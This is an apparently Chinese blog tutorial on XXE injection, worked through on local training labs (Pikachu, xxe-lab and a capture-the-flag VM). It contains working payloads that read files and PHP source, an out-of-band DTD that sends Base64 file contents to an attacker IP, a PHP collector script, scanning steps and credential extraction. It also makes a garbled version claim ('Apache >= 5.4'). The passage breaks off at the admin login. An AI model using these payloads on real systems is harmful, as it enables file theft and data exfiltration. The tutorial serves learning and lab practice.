{"id":90956,"date":"2026-08-06T11:16:33","date_gmt":"2026-08-06T03:16:33","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/90956.html"},"modified":"2026-08-06T11:16:33","modified_gmt":"2026-08-06T03:16:33","slug":"xxe-%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/90956.html","title":{"rendered":"XXE \u6f0f\u6d1e"},"content":{"rendered":"

XXE \u6f0f\u6d1e \u2014 \u5f53 XML \u89e3\u6790\u5668\u5e2e\u4f60\u5077\u6587\u4ef6<\/h2>\n

SQL \u6ce8\u5165\u662f\u5bf9\u6570\u636e\u5e93\u4e0b\u624b，XSS \u662f\u5f80\u9875\u9762\u91cc\u585e JS，SSRF \u662f\u8ba9\u670d\u52a1\u5668\u5f53\u8df3\u677f\u3002\u4eca\u5929\u6765\u4e00\u4e2a\u51b7\u95e8\u4f46\u6740\u4f24\u529b\u6781\u5927\u7684：XXE（XML \u5916\u90e8\u5b9e\u4f53\u6ce8\u5165）\u3002\u5b83\u4e0d\u9700\u8981\u82b1\u91cc\u80e1\u54e8\u7684\u6280\u5de7，\u53ea\u9700\u8981\u51e0\u884c XML，\u5c31\u80fd\u8ba9\u670d\u52a1\u5668\u4e56\u4e56\u628a\u5185\u90e8\u6587\u4ef6\u8bfb\u7ed9\u4f60\u770b\u3002\u4ece\u539f\u7406\u5230\u4e24\u6b21 Base64 \u89e3\u5bc6\u62ff Flag，\u4e00\u8def\u901a\u5173\u3002<\/p>\n

\n

\u8bfe\u7a0b\u6982\u89c8<\/h3>\n

1. XML \u57fa\u7840：\u6982\u5ff5\u3001\u4e0e HTML \u7684\u533a\u522b\u3001\u5b9e\u9645\u5e94\u7528
\n2. XXE \u662f\u4ec0\u4e48？\u6709\u54ea\u4e9b\u5371\u5bb3？
\n3. \u6709\u56de\u663e XXE：\u76f4\u63a5\u8bfb\u53d6\u6587\u4ef6
\n4. \u65e0\u56de\u663e XXE：\u76f2\u6253\u8fdb\u5e26\u51fa\u7684\u827a\u672f
\n5. xxe-lab \u9776\u573a\u5b9e\u6218
\n6. \u7efc\u5408\u6848\u4f8b：\u865a\u62df\u673a\u9776\u573a\u901a\u5173\u62ff Flag
\n7. XXE \u9632\u5fa1\u4e0e\u4fee\u590d<\/p>\n

\n

\u4e00\u3001XML \u57fa\u7840\u5feb\u901f\u590d\u4e60<\/h3>\n

XXE \u7684\u672c\u8d28\u662f\u5229\u7528\u4e86 XML \u89e3\u6790\u5668\u5bf9\u5916\u90e8\u5b9e\u4f53\u7684\u4fe1\u4efb\u3002\u6240\u4ee5\u5b66 XXE \u4e4b\u524d，\u5fc5\u987b\u77e5\u9053 XML \u662f\u4ec0\u4e48\u3002<\/p>\n

1.1 XML \u6982\u5ff5<\/h4>\n

XML \u88ab\u8bbe\u8ba1\u4e3a\u4f20\u8f93\u548c\u5b58\u50a8\u6570\u636e，\u5b83\u628a\u6570\u636e\u4ece HTML \u4e2d\u5206\u79bb\u51fa\u6765，\u662f\u72ec\u7acb\u4e8e\u8f6f\u4ef6\u548c\u786c\u4ef6\u7684\u4fe1\u606f\u4f20\u8f93\u5de5\u5177\u3002<\/p>\n

\u4e00\u4e2a\u6807\u51c6\u7684 XML \u6587\u6863\u5305\u542b\u4e09\u90e8\u5206：<\/p>\n

XML \u58f0\u660e \u2192 <?xml version="1.0"?>
\nDTD \u5b9a\u4e49 \u2192 <!DOCTYPE … > （\u53ef\u9009，\u6587\u6863\u7c7b\u578b\u5b9a\u4e49）
\n\u6587\u6863\u5143\u7d20 \u2192 <root>\u5b9e\u9645\u6570\u636e<\/root><\/p>\n

1.2 XML vs HTML<\/h4>\n\n\u5bf9\u6bd4XMLHTML<\/tr>\n\n\n\n\n\n
\u8bbe\u8ba1\u76ee\u7684<\/td>\n\u4f20\u8f93\u548c\u5b58\u50a8\u6570\u636e<\/td>\n\u663e\u793a\u6570\u636e<\/td>\n<\/tr>\n
\u5173\u6ce8\u7126\u70b9<\/td>\n\u6570\u636e\u7684\u5185\u5bb9<\/td>\n\u6570\u636e\u7684\u5916\u89c2<\/td>\n<\/tr>\n
\u6807\u7b7e<\/td>\n\u81ea\u5b9a\u4e49\u6807\u7b7e<\/td>\n\u9884\u5b9a\u4e49\u6807\u7b7e<\/td>\n<\/tr>\n
\u4e25\u683c\u6027<\/td>\n\u683c\u5f0f\u4e25\u683c，\u9519\u4e00\u70b9\u5c31\u62a5\u9519<\/td>\n\u5bb9\u9519\u6027\u5f3a<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u4e00\u53e5\u8bdd：HTML \u7528\u6765\u5c55\u793a，XML \u7528\u6765\u4f20\u8f93\u3002<\/p>\n

1.3 XML \u7684\u5b9e\u9645\u5e94\u7528<\/h4>\n

\u5982\u679c\u4f60\u505a\u8fc7 Java \u5f00\u53d1，\u8fd9\u4e9b\u6587\u4ef6\u4f60\u4e00\u5b9a\u89c1\u8fc7：<\/p>\n\n\u6587\u4ef6\u7528\u9014<\/tr>\n\n\n\n\n
pom.xml<\/td>\nMaven \u9879\u76ee\u4f9d\u8d56\u914d\u7f6e<\/td>\n<\/tr>\n
web.xml<\/td>\nJava Web \u5e94\u7528\u7684\u90e8\u7f72\u63cf\u8ff0\u7b26<\/td>\n<\/tr>\n
mybatis\/mapper.xml<\/td>\nMyBatis \u6570\u636e\u5e93\u6620\u5c04\u914d\u7f6e<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u8fd9\u8bf4\u660e XML \u5728\u4f01\u4e1a\u5e94\u7528\u4e2d\u65e0\u5904\u4e0d\u5728，\u4e5f\u610f\u5473\u7740 XXE \u7684\u653b\u51fb\u9762\u975e\u5e38\u5e7f\u3002<\/p>\n

\n

\u4e8c\u3001XXE \u6982\u5ff5\u4e0e\u5371\u5bb3<\/h3>\n

2.1 \u4ec0\u4e48\u662f XXE？<\/h4>\n

XXE \u5168\u79f0 XML External Entity Injection，\u4e2d\u6587：XML \u5916\u90e8\u5b9e\u4f53\u6ce8\u5165\u3002<\/p>\n

\u539f\u7406\u4e00\u53e5\u8bdd：<\/p>\n

\u5e94\u7528\u7a0b\u5e8f\u89e3\u6790 XML \u65f6，\u6ca1\u6709\u7981\u6b62\u5916\u90e8\u5b9e\u4f53\u7684\u52a0\u8f7d，\u653b\u51fb\u8005\u53ef\u4ee5\u6784\u9020\u6076\u610f\u7684 XML \u8ba9\u89e3\u6790\u5668\u53bb\u8bfb\u53d6\u672c\u5730\u6587\u4ef6\u3001\u53d1\u8d77\u7f51\u7edc\u8bf7\u6c42\u3001\u63a2\u6d4b\u5185\u7f51\u7aef\u53e3\u7b49\u3002<\/p>\n

2.2 XXE \u80fd\u9020\u6210\u54ea\u4e9b\u5371\u5bb3？<\/h4>\n\n\u5371\u5bb3\u8bf4\u660e<\/tr>\n\n\n\n\n\n\n
\u8bfb\u53d6\u4efb\u610f\u6587\u4ef6<\/td>\nfile:\/\/\/etc\/passwd \u62ff\u670d\u52a1\u5668\u7528\u6237\u5217\u8868<\/td>\n<\/tr>\n
\u547d\u4ee4\u6267\u884c<\/td>\n\u914d\u5408\u7279\u5b9a\u73af\u5883\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/td>\n<\/tr>\n
\u5185\u7f51\u7aef\u53e3\u626b\u63cf<\/td>\n\u63a2\u6d4b\u5185\u7f51\u5b58\u6d3b\u4e3b\u673a\u548c\u5f00\u653e\u7aef\u53e3<\/td>\n<\/tr>\n
\u653b\u51fb\u5185\u7f51\u7f51\u7ad9<\/td>\n\u4ee5\u670d\u52a1\u5668\u4e3a\u8df3\u677f\u5bf9\u5185\u7f51\u53d1\u8d77\u653b\u51fb<\/td>\n<\/tr>\n
DoS \u653b\u51fb<\/td>\n\u5b9e\u4f53\u5d4c\u5957\u5bfc\u81f4\u89e3\u6790\u5668\u8d44\u6e90\u8017\u5c3d<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u26a0\ufe0f \u9700\u8981 Apache >= 5.4 \u7248\u672c（\u90e8\u5206 PHP \u73af\u5883\u4e2d XXE \u624d\u6709\u5b9e\u9645\u6548\u679c）\u3002<\/p>\n

\n

2.3 \u6848\u4f8b：XXE \u6709\u56de\u663e\u8bfb\u53d6\u6587\u4ef6<\/h4>\n

\u7b2c\u4e00\u6b65：\u51c6\u5907\u88ab\u8bfb\u53d6\u7684\u6587\u4ef6<\/h5>\n

\u5728\u684c\u9762\u5efa\u4e00\u4e2a 1.txt，\u5185\u5bb9\u968f\u610f（\u6bd4\u5982 Hello World! \u8fd9\u662f\u654f\u611f\u6570\u636e），\u8def\u5f84\u4e3a：<\/p>\n

C:\\\\Users\\\\Administrator\\\\Desktop\\\\1.txt<\/p>\n

\u7b2c\u4e8c\u6b65：\u6253\u5f00 Pikachu \u9776\u573a XXE \u9875\u9762<\/h5>\n

http:\/\/localhost\/pikachu\/vul\/xxe\/xxe_1.php<\/p>\n

\u7b2c\u4e09\u6b65：\u6784\u9020 XXE Payload<\/h5>\n

<?xml version = "1.0"?><\/span>
\n<!<\/span>DOCTYPE<\/span> any<\/span>[<\/span>
\n <!ENTITY xxe SYSTEM "file:\/\/\/C:\/\/Users\/\/Administrator\/\/Desktop\/\/1.txt">
\n<\/span>]<\/span>><\/span><\/span>
\n<<\/span>foo<\/span>><\/span><\/span>&xxe;<\/span><\/<\/span>foo<\/span>><\/span><\/span><\/p>\n

\u9010\u884c\u62c6\u89e3：<\/p>\n

<?xml version="1.0"?> \u2192 XML \u58f0\u660e
\n<!DOCTYPE any[ \u2192 DTD \u5b9a\u4e49，any \u662f\u6839\u5143\u7d20\u540d（\u968f\u4fbf\u5199）
\n <!ENTITY xxe SYSTEM "file:\/\/\/C:\/\/…1.txt"> \u2192 \u5b9a\u4e49\u5916\u90e8\u5b9e\u4f53 xxe，\u6307\u5411\u672c\u5730\u6587\u4ef6
\n]>
\n<foo>&xxe;<\/foo> \u2192 \u5728 <foo> \u6807\u7b7e\u4e2d\u5f15\u7528\u5b9e\u4f53 &xxe;<\/p>\n

&xxe; \u4f1a\u88ab\u66ff\u6362\u4e3a 1.txt \u6587\u4ef6\u7684\u5185\u5bb9\u3002\u6ce8\u610f\u5b9e\u4f53\u540d xxe \u968f\u4fbf\u5199，a\u3001abc\u3001file \u90fd\u884c\u3002<\/p>\n

\u7b49\u4ef7\u5199\u6cd5（\u5b9e\u4f53\u540d\u53ef\u4ee5\u968f\u4fbf\u53d6）<\/h5>\n

<?xml version = "1.0"?><\/span>
\n<!<\/span>DOCTYPE<\/span> any<\/span>[<\/span>
\n <!ENTITY a SYSTEM "file:\/\/\/C:\/\/Users\/\/Administrator\/\/Desktop\/\/1.txt">
\n<\/span>]<\/span>><\/span><\/span>
\n<<\/span>b<\/span>><\/span><\/span>&a;<\/span><\/<\/span>b<\/span>><\/span><\/span><\/p>\n

\u66f4\u731b\u7684\u64cd\u4f5c：\u8bfb\u53d6\u7cfb\u7edf hosts \u6587\u4ef6<\/h5>\n

<?xml version = "1.0"?><\/span>
\n<!<\/span>DOCTYPE<\/span> any<\/span>[<\/span>
\n <!ENTITY a SYSTEM "file:\/\/\/C:\/Windows\/System32\/drivers\/etc\/hosts">
\n<\/span>]<\/span>><\/span><\/span>
\n<<\/span>b<\/span>><\/span><\/span>&a;<\/span><\/<\/span>b<\/span>><\/span><\/span><\/p>\n

\u4e5f\u53ef\u4ee5\u5b9a\u4e49\u5185\u90e8\u5b9e\u4f53（\u4e0d\u8bfb\u6587\u4ef6，\u7eaf\u6d4b\u8bd5）<\/h5>\n

<?xml version = "1.0"?><\/span>
\n<!<\/span>DOCTYPE<\/span> a<\/span>[<\/span>
\n <<\/span>!ENTITY<\/span> a<\/span> "\u563b\u563b"<\/span>><\/span><\/span>
\n<\/span>]<\/span>><\/span><\/span>
\n<<\/span>c<\/span>><\/span><\/span>&a;<\/span><\/<\/span>c<\/span>><\/span><\/span><\/p>\n

\u63d0\u4ea4\u540e\u9875\u9762\u663e\u793a\u300c\u563b\u563b\u300d\u2192 \u8bf4\u660e XML \u89e3\u6790\u5668\u6b63\u5e38\u5de5\u4f5c，XXE \u6d4b\u8bd5\u73af\u5883\u786e\u8ba4\u65e0\u8bef！<\/p>\n

\n

2.4 \u6848\u4f8b：XXE \u65e0\u56de\u663e（\u76f2 XXE）\u2014 \u5916\u5e26\u6570\u636e<\/h4>\n

\u5f88\u591a\u65f6\u5019 XXE \u6ca1\u6709\u56de\u663e\u2014\u2014\u4f60\u8bfb\u4e86\u6587\u4ef6\u4f46\u9875\u9762\u4e0d\u663e\u793a\u5185\u5bb9\u3002\u600e\u4e48\u529e？\u628a\u6570\u636e\u5e26\u51fa\u6765\u3002<\/p>\n

\u57fa\u672c\u539f\u7406<\/h5>\n

1. \u76ee\u6807\u670d\u52a1\u5668\u89e3\u6790 XXE \u2192 \u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9
\n2. \u5c06\u6587\u4ef6\u5185\u5bb9\u7f16\u7801\u540e\u4f5c\u4e3a URL \u53c2\u6570
\n3. \u5411\u653b\u51fb\u8005\u7684\u670d\u52a1\u5668\u53d1\u8d77 HTTP \u8bf7\u6c42
\n4. \u653b\u51fb\u8005\u7684 get.php \u63a5\u6536\u5e76\u4fdd\u5b58\u6570\u636e<\/p>\n

\u73af\u5883\u51c6\u5907：\u4fee\u6539\u9776\u573a\u8ba9\u5b83\u65e0\u56de\u663e<\/h5>\n

\u4fee\u6539 \\\\pikachu\\\\vul\\\\xxe\\\\xxe_1.php，\u53bb\u6389\u6b63\u5e38\u7684\u56de\u663e，\u8ba9\u5b83\u53d8\u6210\u4e00\u4e2a\u300c\u65e0\u56de\u663e\u300d\u9875\u9762\u3002<\/p>\n

\u4e09\u6b65\u8d70\u653b\u51fb<\/h5>\n

\u7b2c\u4e00\u6b65：\u4e3b\u653b\u51fb\u811a\u672c（\u8d34\u5230 Pikachu \u8f93\u5165\u6846）<\/p>\n

<?xml version = "1.0"?><\/span>
\n<!<\/span>DOCTYPE<\/span> ANY<\/span>[<\/span>
\n <!ENTITY % dtd SYSTEM "http:\/\/192.168.220.135\/vil.dtd">
\n %dtd;
\n<\/span>]<\/span>><\/span><\/span><\/p>\n

%dtd; \u5f15\u7528\u653b\u51fb\u8005\u670d\u52a1\u5668\u4e0a\u7684\u5916\u90e8 DTD \u6587\u4ef6 vil.dtd\u3002<\/p>\n

\u7b2c\u4e8c\u6b65：\u5728\u653b\u51fb\u8005\u865a\u62df\u673a（Win10）\u4e0a\u521b\u5efa vil.dtd<\/p>\n

<!ENTITY % file SYSTEM "php:\/\/filter\/read=convert.base64-encode\/resource=C:\/\/Users\/\/Administrator\/\/Desktop\/\/1.txt">
\n<!ENTITY % all "<!ENTITY &#x25;<\/span> send SYSTEM 'http:\/\/192.168.220.135\/get.php?file=%file;'>">
\n%all;
\n%send;<\/p>\n

\u9010\u6b65\u62c6\u89e3：<\/p>\n

<!ENTITY % file SYSTEM "php:\/\/filter\/…">
\n \u2192 \u5b9a\u4e49\u53c2\u6570\u5b9e\u4f53 %file，\u8bfb\u53d6\u76ee\u6807\u6587\u4ef6\u5e76 Base64 \u7f16\u7801<\/p>\n

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http:\/\/…?file=%file;'>">
\n \u2192 \u5229\u7528 %file \u7684\u503c\u6784\u9020\u4e00\u4e2a\u52a8\u6001\u7684 %send \u5b9e\u4f53
\n \u2192 %send \u5c31\u662f\u5411\u653b\u51fb\u8005\u670d\u52a1\u5668\u53d1\u9001 HTTP \u8bf7\u6c42，URL \u53c2\u6570\u4e2d\u9644\u5e26\u6587\u4ef6\u5185\u5bb9<\/p>\n

%all; \u2192 \u6267\u884c %all \u2192 \u52a8\u6001\u751f\u6210 %send \u5b9e\u4f53
\n%send; \u2192 \u6267\u884c %send \u2192 \u5411\u653b\u51fb\u8005\u670d\u52a1\u5668\u53d1\u8d77\u5e26\u6570\u636e\u7684\u8bf7\u6c42<\/p>\n

\u7b2c\u4e09\u6b65：\u5728\u653b\u51fb\u8005\u865a\u62df\u673a\u4e0a\u521b\u5efa get.php<\/p>\n

<?php<\/span>
\n$data<\/span> =<\/span> $_GET<\/span>[<\/span>'file'<\/span>]<\/span>;<\/span>
\n$myfile<\/span> =<\/span> fopen<\/span>(<\/span>"file.txt"<\/span>,<\/span> "w+"<\/span>)<\/span>;<\/span>
\nfwrite<\/span>(<\/span>$myfile<\/span>,<\/span> $data<\/span>)<\/span>;<\/span>
\nfclose<\/span>(<\/span>$myfile<\/span>)<\/span>;<\/span>
\n?<\/span>><\/span><\/p>\n

\u653b\u51fb\u5b8c\u6210！\u8bbf\u95ee http:\/\/192.168.220.135\/file.txt \u2192 \u770b\u5230 Base64 \u7f16\u7801\u7684\u6587\u4ef6\u5185\u5bb9 \u2192 \u89e3\u7801 \u2192 \u539f\u59cb\u6587\u4ef6\u5230\u624b！<\/p>\n

\n

2.5 \u65e0\u56de\u663e XXE \u7684\u4e09\u4e2a\u5173\u952e\u7591\u95ee<\/h4>\n

Q1：\u4e3a\u4ec0\u4e48\u9700\u8981\u5d4c\u5957 %all \u8fd9\u4e00\u5c42？<\/h5>\n

<!– \u4e0b\u9762\u8fd9\u79cd\u5199\u6cd5\u4f1a\u62a5\u9519！ –><\/span>
\n<!<\/span>DOCTYPE<\/span> updateProfile<\/span> [<\/span>
\n <!ENTITY % file SYSTEM "php:\/\/filter\/…">
\n <!ENTITY % send SYSTEM 'http:\/\/127.0.0.1\/get.php?file=%file'>
\n %send;
\n<\/span>]<\/span>><\/span><\/span><\/p>\n

XML \u89e3\u6790\u5668\u4e0d\u4f1a\u89e3\u6790\u540c\u4e00\u5c42\u7ea7\u7684\u53c2\u6570\u5b9e\u4f53\u3002\u5fc5\u987b\u628a %send \u7684\u5b9a\u4e49\u653e\u5230 %all \u91cc\u9762，\u7531 %all \u53bb\u52a8\u6001\u751f\u6210 %send，\u624d\u80fd\u8ba9 %file \u7684\u503c\u88ab\u6b63\u786e\u66ff\u6362\u8fdb\u53bb\u3002<\/p>\n

Q2：\u4e3a\u4ec0\u4e48\u5fc5\u987b\u5f15\u7528\u5916\u90e8 DTD \u6587\u4ef6？<\/h5>\n

\u5728 DTD \u5185\u90e8\u5b50\u96c6\u4e2d，\u4e0d\u5141\u8bb8\u5728\u6807\u8bb0\u58f0\u660e\u4e2d\u5f15\u7528\u53c2\u6570\u5b9e\u4f53\u3002\u5fc5\u987b\u4f7f\u7528\u5916\u90e8 DTD（\u5373\u5355\u72ec\u7684 .dtd \u6587\u4ef6）\u6765\u7ed5\u8fc7\u8fd9\u4e2a\u9650\u5236\u3002<\/p>\n

<!– \u5fc5\u987b\u8fd9\u6837，\u5f15\u7528\u5916\u90e8\u6587\u4ef6 –><\/span>
\n<!<\/span>DOCTYPE<\/span> ANY<\/span> [<\/span>
\n <!ENTITY % dtd SYSTEM "http:\/\/\u653b\u51fb\u8005IP\/vil.dtd">
\n %dtd;
\n<\/span>]<\/span>><\/span><\/span><\/p>\n

Q3：&#x25; \u662f\u4ec0\u4e48？<\/h5>\n

&#x25; \u662f % \u53f7\u7684 HTML \u5b9e\u4f53\u7f16\u7801\u3002\u76f4\u63a5\u5199 % \u5728\u5b9e\u4f53\u5185\u90e8\u4f1a\u88ab\u89e3\u6790\u5668\u8bef\u4ee5\u4e3a\u662f\u53c2\u6570\u5b9e\u4f53\u58f0\u660e\u7b26，\u6240\u4ee5\u7528 &#x25; \u66ff\u4ee3，\u7b49\u89e3\u6790\u65f6\u518d\u8f6c\u56de %\u3002<\/p>\n

\n

\u4e09\u3001\u9776\u573a\u5b9e\u6218：xxe-lab<\/h3>\n

3.1 \u73af\u5883<\/h4>\n

http:\/\/localhost\/xxe\/<\/p>\n

3.2 \u767b\u5f55\u5e76\u62e6\u622a<\/h4>\n
  • \u6253\u5f00 http:\/\/localhost\/xxe\/<\/li>\n
  • \u968f\u4fbf\u8f93\u5165\u7528\u6237\u540d\u5bc6\u7801，\u7528 Burp Suite \u62e6\u622a\u8bf7\u6c42<\/li>\n
  • \u53d1\u73b0\u8bf7\u6c42\u4f53\u662f XML \u683c\u5f0f \u2192 \u6f5c\u5728 XXE \u653b\u51fb\u70b9！<\/li>\n
  • \u53d1\u9001\u5230 Repeater（\u91cd\u8bd5\u6a21\u5757）<\/li>\n

    3.3 \u9a8c\u8bc1 XXE \u6f0f\u6d1e<\/h4>\n

    \u5728 Repeater \u4e2d\u5c06\u8bf7\u6c42\u4f53\u66ff\u6362\u4e3a：<\/p>\n

    <!<\/span>DOCTYPE<\/span> ANY<\/span> [<\/span>
    \n <!ENTITY file SYSTEM "file:\/\/\/C:\/\/Users\/\/Administrator\/\/Desktop\/\/1.txt">
    \n<\/span>]<\/span>><\/span><\/span>
    \n<<\/span>user<\/span>><\/span><\/span><<\/span>username<\/span>><\/span><\/span>
    \n&file;<\/span>
    \n<\/<\/span>username<\/span>><\/span><\/span><<\/span>password<\/span>><\/span><\/span>12313<\/<\/span>password<\/span>><\/span><\/span><\/<\/span>user<\/span>><\/span><\/span><\/p>\n

    \u8fd4\u56de\u4e86 1.txt \u7684\u5185\u5bb9 \u2192 XXE \u6f0f\u6d1e\u786e\u8ba4！<\/p>\n

    3.4 \u83b7\u53d6\u7528\u6237\u540d\u5bc6\u7801<\/h4>\n

    \u4f46\u6211\u4eec\u4e0d\u77e5\u9053\u540e\u53f0\u7684\u9a8c\u8bc1\u903b\u8f91，\u5982\u4f55\u62ff\u5230\u771f\u6b63\u7684\u7528\u6237\u540d\u5bc6\u7801？\u76f4\u63a5\u8bfb\u53d6\u767b\u5f55\u5904\u7406\u7684 PHP \u6e90\u7801！<\/p>\n

    <!<\/span>DOCTYPE<\/span> ANY<\/span> [<\/span>
    \n <!ENTITY file SYSTEM "php:\/\/filter\/read=convert.base64-encode\/resource=doLogin.php">
    \n<\/span>]<\/span>><\/span><\/span>
    \n<<\/span>user<\/span>><\/span><\/span><<\/span>username<\/span>><\/span><\/span>
    \n&file;<\/span>
    \n<\/<\/span>username<\/span>><\/span><\/span><<\/span>password<\/span>><\/span><\/span>12313<\/<\/span>password<\/span>><\/span><\/span><\/<\/span>user<\/span>><\/span><\/span><\/p>\n

    \u5173\u952e\u6280\u672f：<\/p>\n

    php:\/\/filter\/read=convert.base64-encode\/resource=\u6587\u4ef6\u8def\u5f84<\/p>\n

    PHP \u7684 php:\/\/filter \u4f2a\u534f\u8bae\u80fd\u8bfb\u53d6\u6587\u4ef6\u5e76\u4ee5 Base64 \u7f16\u7801\u8fd4\u56de\u3002\u4e0d\u76f4\u63a5\u7528 file:\/\/ \u7684\u539f\u56e0：\u5982\u679c\u6587\u4ef6\u662f PHP \u4ee3\u7801，PHP \u89e3\u6790\u5668\u4f1a\u6267\u884c\u5b83\u800c\u4e0d\u662f\u8f93\u51fa\u6e90\u7801，\u7528 Base64 \u7f16\u7801\u5c31\u80fd\u7ed5\u8fc7\u6267\u884c，\u62ff\u5230\u539f\u59cb\u4ee3\u7801\u3002<\/p>\n

    \u89e3\u5bc6： \u8bbf\u95ee https:\/\/base64.us\/ \u5c06\u8fd4\u56de\u7684 Base64 \u89e3\u7801 \u2192 \u5f97\u5230 doLogin.php \u7684\u6e90\u7801 \u2192 \u6e90\u7801\u4e2d\u786c\u7f16\u7801\u4e86\u7528\u6237\u540d\u548c\u5bc6\u7801！<\/p>\n

    \u7528\u62ff\u5230\u7684\u8d26\u53f7\u5bc6\u7801\u767b\u5f55 \u2192 \u767b\u5f55\u6210\u529f！<\/p>\n

    \n

    \u56db\u3001\u7efc\u5408\u6848\u4f8b：\u865a\u62df\u673a\u9776\u573a\u901a\u5173<\/h3>\n

    \u8fd9\u662f\u4e00\u4e2a\u6a21\u62df\u771f\u5b9e\u653b\u9632\u7684\u590d\u6742\u9776\u573a，\u9700\u8981\u7ecf\u8fc7\u7aef\u53e3\u626b\u63cf \u2192 \u76ee\u5f55\u626b\u63cf \u2192 XXE \u63a2\u6d4b \u2192 \u591a\u6b65\u8bfb\u53d6 \u2192 \u4e24\u6b21\u89e3\u5bc6\u624d\u80fd\u62ff\u5230 Flag\u3002<\/p>\n

    \n

    4.1 \u73af\u5883\u5b89\u88c5<\/h4>\n
  • \u5728 VMware \u4e2d\u901a\u8fc7 .ovf \u6587\u4ef6\u5bfc\u5165\u9776\u573a\u865a\u62df\u673a<\/li>\n
  • \u7f51\u7edc\u6a21\u5f0f\u8bbe\u7f6e\u4e3a NAT（\u51cf\u5c11\u63a2\u6d4b\u8303\u56f4）<\/li>\n
    \n

    4.2 \u7aef\u53e3\u626b\u63cf \u2014 \u5b9a\u4f4d\u76ee\u6807<\/h4>\n

    \u5728 Kali \u4e2d\u626b\u63cf NAT \u7f51\u6bb5：<\/p>\n

    sudo<\/span> su<\/span> root
    \nnmap 192.168<\/span>.220.1\/24<\/p>\n

    \u53d1\u73b0 192.168.220.136 \u5f00\u653e\u4e86 80 \u7aef\u53e3 \u2192 \u8fd9\u5c31\u662f\u76ee\u6807！<\/p>\n

    \u8bbf\u95ee http:\/\/192.168.220.136 \u2192 \u770b\u5230 Web \u9875\u9762\u3002<\/p>\n

    \n

    4.3 \u76ee\u5f55\u626b\u63cf<\/h4>\n

    # \u7528 nmap \u811a\u672c\u626b\u63cf<\/span>
    \nnmap -sV<\/span> 192.168<\/span>.220.136 –script<\/span> default<\/p>\n

    \u53d1\u73b0\u5173\u952e\u8def\u5f84：<\/p>\n

    http:\/\/192.168.220.136\/robots.txt \u2190 \u4fe1\u606f\u6cc4\u9732！
    \nhttp:\/\/192.168.220.136\/xxe\/ \u2190 XXE \u529f\u80fd\u70b9！<\/p>\n

    \n

    4.4 XXE \u6f0f\u6d1e\u63a2\u6d4b<\/h4>\n

    \u8bbf\u95ee http:\/\/192.168.220.136\/xxe\/ \u2192 \u767b\u5f55\u9875\u9762，\u7528 BP \u62e6\u622a \u2192 XML \u683c\u5f0f \u2192 XXE \u653b\u51fb\u70b9！<\/p>\n

    \u7b2c\u4e00\u6b65：\u8bfb\u53d6 xxe.php \u6e90\u7801<\/h5>\n

    <?xml version="1.0" encoding="UTF-8"?><\/span>
    \n<!<\/span>DOCTYPE<\/span> ANY<\/span> [<\/span>
    \n <!ENTITY file SYSTEM "php:\/\/filter\/read=convert.base64-encode\/resource=xxe.php">
    \n<\/span>]<\/span>><\/span><\/span>
    \n<<\/span>root<\/span>><\/span><\/span><<\/span>name<\/span>><\/span><\/span>
    \n&file;<\/span>
    \n<\/<\/span>name<\/span>><\/span><\/span><<\/span>password<\/span>><\/span><\/span>123213<\/<\/span>password<\/span>><\/span><\/span><\/<\/span>root<\/span>><\/span><\/span><\/p>\n

    Base64 \u89e3\u7801\u540e\u5f97\u5230：<\/p>\n

    <?php<\/span>
    \nlibxml_disable_entity_loader<\/span> (<\/span>false<\/span>)<\/span>;<\/span> \/\/ \u672a\u7981\u6b62\u5916\u90e8\u5b9e\u4f53！\u6f0f\u6d1e\u6839\u6e90<\/span>
    \n$xmlfile<\/span> =<\/span> file_get_contents<\/span>(<\/span>'php:\/\/input'<\/span>)<\/span>;<\/span>
    \n$dom<\/span> =<\/span> new<\/span> DOMDocument<\/span>(<\/span>)<\/span>;<\/span>
    \n$dom<\/span>-><\/span>loadXML<\/span>(<\/span>$xmlfile<\/span>,<\/span> LIBXML_NOENT<\/span> |<\/span> LIBXML_DTDLOAD<\/span>)<\/span>;<\/span>
    \n$info<\/span> =<\/span> simplexml_import_dom<\/span>(<\/span>$dom<\/span>)<\/span>;<\/span>
    \n$name<\/span> =<\/span> $info<\/span>-><\/span>name<\/span>;<\/span>
    \n$password<\/span> =<\/span> $info<\/span>-><\/span>password<\/span>;<\/span>
    \necho<\/span> "Sorry, this $name<\/span><\/span> not available!"<\/span>;<\/span> \/\/ \u6c38\u8fdc\u663e\u793a\u9519\u8bef，\u4f46\u80fd\u88ab XXE \u622a\u80e1！<\/span>
    \n?<\/span>><\/span><\/p>\n

    \u53d1\u73b0\u8fd9\u4e2a\u9875\u9762\u65e0\u8bba\u8f93\u5165\u4ec0\u4e48\u90fd\u8fd4\u56de\u9519\u8bef \u2014 \u4f46\u8fd9\u4e0d\u91cd\u8981，XXE \u80fd\u8bfb\u53d6\u5b83\u80cc\u540e\u7684\u6587\u4ef6！<\/p>\n

    \n
    \u7b2c\u4e8c\u6b65：\u8bfb\u53d6 admin.php \u83b7\u53d6\u540e\u53f0\u5bc6\u7801<\/h5>\n

    <?xml version="1.0" encoding="UTF-8"?><\/span>
    \n<!<\/span>DOCTYPE<\/span> ANY<\/span> [<\/span>
    \n <!ENTITY file SYSTEM "php:\/\/filter\/read=convert.base64-encode\/resource=admin.php">
    \n<\/span>]<\/span>><\/span><\/span>
    \n<<\/span>root<\/span>><\/span><\/span><<\/span>name<\/span>><\/span><\/span>
    \n&file;<\/span>
    \n<\/<\/span>name<\/span>><\/span><\/span><<\/span>password<\/span>><\/span><\/span>123213<\/<\/span>password<\/span>><\/span><\/span><\/<\/span>root<\/span>><\/span><\/span><\/p>\n

    Base64 \u89e3\u7801\u540e\u5f97\u5230 admin.php \u6e90\u7801，\u4ece\u4e2d\u63d0\u53d6\u51fa：<\/p>\n

    \u7528\u6237\u540d：administhebest
    \n\u5bc6\u7801： admin@123（\u7ecf\u8fc7 MD5 \u89e3\u5bc6 \u2192 https:\/\/cmd5.com\/）<\/p>\n

    \n
    \u7b2c\u4e09\u6b65：\u767b\u5f55\u540e\u53f0<\/h5>\n

